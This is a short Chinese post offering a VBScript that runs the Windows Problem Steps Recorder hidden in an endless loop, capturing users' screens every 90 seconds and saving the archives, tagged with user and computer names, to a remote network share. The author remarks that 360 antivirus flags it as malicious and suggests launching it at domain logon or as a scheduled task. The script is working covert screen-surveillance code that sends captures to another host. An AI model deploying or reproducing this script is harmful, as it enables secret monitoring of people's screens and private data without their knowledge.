PSR 步骤记录器 实现 屏幕监控并上传到远程服务器。

实现原理：

麻痹，，360报毒。。。

PSR后台无限循环运行。并将结果保存到服务器，文件再被服务器迁移走。

psr.exe 运行

On Error Resume Next
dim gwaddr,ipaddr,gwadstr,ipadstr,ipadd
dim nowtm,hn,zipfile,psrpf,path,comd,wshl
dim hostname,compname,objwmi
dim objNetAdapter,ipaddstr
Set wshl = CreateObject("wscript.network")
hostname=wshl.username   
compname=wshl.computername 
Set objwmi = GetObject("winmgmts://./root/cimv2").ExecQuery ("Select * from Win32_NetworkAdapterConfiguration where dhcpenabled=false and IPEnabled=TRUE")
For Each objNetAdapter in objwmi
  gwaddr=objNetAdapter.DefaultIPGateway(0)
  gwadstr=left(gwaddr,10)
  for each ipadd in objnetadapter.ipaddress
    ipaddstr=left(ipadd,10)
    if ipaddstr=gwadstr then
      ipaddr = ipadd
      exit for
    end if
  next
if ipaddstr=gwadstr then 
exit for
end if
next 

path="\\10.168.50.10\every\"&ipaddr 
comd="cmd /c mkdir "&path
Set ws = CreateObject("Wscript.Shell")
ws.run comd,0,False
DO
  nowtm=year(now())&month(now())&day(now())& hour(now())&minute(now())&second(now())
  zipfile=compname&hostname&nowtm&".zip"
  psrpf=path&"\"&zipfile
  ws.run "cmd /c psr.exe /start /gui 0 /sc 1 /maxsc 100 /output "&psrpf,0,False
  wscript.sleep 90*1000
  ws.run "cmd /c psr.exe /stop",0,false
  wscript.sleep 3*1000
LOOP

 

可以保存为 VBS 在域用户登陆时运行，或加到任务中。